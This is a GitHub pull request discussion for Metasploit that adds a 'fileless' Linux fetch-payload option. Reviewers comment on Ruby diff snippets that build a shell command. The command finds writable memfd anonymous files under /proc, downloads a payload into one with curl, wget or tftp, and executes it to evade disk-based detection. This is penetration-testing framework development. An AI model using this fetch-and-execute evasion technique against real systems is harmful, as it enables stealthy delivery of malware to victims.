-
Notifications
You must be signed in to change notification settings - Fork 14.2k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Fileless elf execution #19858
base: master
Are you sure you want to change the base?
Fileless elf execution #19858
Conversation
Would it make sense to assume the user doesn't want to write the payload to disk when |
If I saw correctly, I think that empty string is default option to |
@@ -223,6 +234,30 @@ def _generate_certutil_command | |||
cmd + _execute_add | |||
end | |||
|
|||
def _generate_fileless(get_file_cmd) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It would be nice to have a comment here explaining the technique used.
cmds = ";chmod +x #{_remote_destination_nix}" | ||
cmds << ";#{_remote_destination_nix}&" | ||
end | ||
# cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Did you mean to comment this line?
cmds << ";#{_remote_destination_nix}&" | ||
cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] | ||
if datastore['FETCH_DELETE'] | ||
rand(3..7) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This line is useless. Did you want to write cmds << "sleep #{rand(3..7)};"
?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yes, sorry, modification of this whole function is a leftover from different approach, thank you for that!
return datastore['FETCH_FILELESS'] && !windows? ? _generate_ftp_command_fileless : _generate_ftp_command | ||
when 'TNFTP' | ||
return _generate_tnftp_command | ||
return datastore['FETCH_FILELESS'] && !windows? ? _generate_tnftp_command_fileless : _generate_tnftp_command | ||
when 'WGET' | ||
return _generate_wget_command | ||
return datastore['FETCH_FILELESS'] && !windows? ? _generate_wget_command_fileless : _generate_wget_command | ||
when 'CURL' | ||
return _generate_curl_command | ||
return datastore['FETCH_FILELESS'] && !windows? ? _generate_curl_command_fileless : _generate_curl_command | ||
when 'TFTP' | ||
return _generate_tftp_command | ||
return datastore['FETCH_FILELESS'] && !windows? ? _generate_tftp_command_fileless : _generate_tftp_command | ||
# ignoring certutil when FETCH_FILELESS is enabled |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Are you sure that this is working on all platforms supported by metasploit that aren't windows?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It should be supported on all Unix systems, I'll add more specific condition, thanks!
def initialize(*args) | ||
super | ||
register_options( | ||
[ | ||
Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]), | ||
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: /^[^\s\/\\]*$/), | ||
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk (only *nix, kernel version 3.17 Gooand above)', false]), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk (only *nix, kernel version 3.17 Gooand above)', false]), | |
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]), |
when 'TFTP' | ||
return _generate_tftp_command | ||
return datastore['FETCH_FILELESS'] && linux? ? _generate_tftp_command_fileless : _generate_tftp_command | ||
# ignoring certutil when FETCH_FILELESS is enabled |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The comment is wrong. I think something like "FETCH_FILELESS isn't supported for certutil for now" would be better.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
certutil should not be an option for linux payloads?
The FETCH_COMMAND
option comes from either lib/msf/core/payload/adapter/fetch/windows_options lib/msf/core/payload/adapter/fetch/linux_options. Nix-y payloads should not import the windows_options file which allows the use of certutil.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yeah; by adding the FETCH_FILELESS
option to linux_options
the user cannot select it and cURL. We already support fileless fetch execution on windows via SMB, though we don't advertise it.
cmd << '; FOUND=1' | ||
cmd << '; break' | ||
cmd << '; fi' | ||
cmd << '; done <<< $(find /proc/$i/fd -type l -perm u=rwx)' |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Maybe redirecting the potential errors to /dev/null
might avoid some weird output and reduce the number of iterations for the main loop.
cmd << '; done <<< $(find /proc/$i/fd -type l -perm u=rwx)' | |
cmd << '; done <<< $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)' |
# if found one, try to download payload into the anonymous file | ||
# and execute it | ||
cmd << '; then while read f' | ||
cmd << '; do if [[ $(ls -al $f | grep -o memfd | wc -l) == 1 ]]' |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
There might be a way to avoid calling wc
by checking the return value of grep
instead.
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]), | ||
], | ||
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to sto re payload; cannot contain spaces', './'], regex: /^\S*$/) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Fixing some issues and adding a condition to the FETCH_WRITABLE_DIR
option (untested):
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]), | |
], | |
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to sto re payload; cannot contain spaces', './'], regex: /^\S*$/) | |
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]), | |
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', './'], regex: /^\S*$/, conditions: %w[FETCH_FILELESS == false]) | |
], |
cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)' | ||
cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]' | ||
cmd << "; then if [ $( #{get_file_cmd} >/dev/null; echo $?) -eq \"0\" ]" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You should be able to golf this down. So using $()
invokes the contents in a subshell. An exit status of 0
evaluates to true, so we can remove the echo and string check.
Give this a try:
cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)' | |
cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]' | |
cmd << "; then if [ $( #{get_file_cmd} >/dev/null; echo $?) -eq \"0\" ]" | |
cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)' | |
cmd << '; do if $(ls -al $f | grep -o "memfd" >/dev/null)' | |
cmd << "; then if $(#{get_file_cmd} >/dev/null)" |
It could definitely be golf'ed down even more by removing whitespace and the redirection to null, but I think this is reasonable because it shouldn't change the functionality (output is still muted thanks to /dev/null
) or affect the readability much.
For testing:
if $(exit 0); then echo true; else echo false; fi
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yep, absolutely agree. The redirections to /dev/null
are added because I didn't like the error messages as it complicated bit debugging. From functionality perspective, if there would be some issues with length, we can remove them as it shouldn't change anything. Thanks for the tip!
Suggested changes: |
Slight fixes and prep for adding piped fetch payloads
else | ||
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') | ||
end | ||
cmd + _execute_add | ||
cmd + _execute_add(get_file_cmd) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
cmd + _execute_add(get_file_cmd) | |
_execute_add(get_file_cmd) |
My bad......
This PR adds possibility of running fetch payload as file-less payload, leveraging existence of anonymous files. In current state, the fileless possibility is enabled with
FETCH_FILELESS
which isfalse
by default. The limitation is the length of payload. Original idea was to explorememfd_create
, however, there are limited options to call syscalls from bash. Therefore, the current solution searches for existing anonymous files where user can write and execute them. This achieves evasion as payload never touches disk.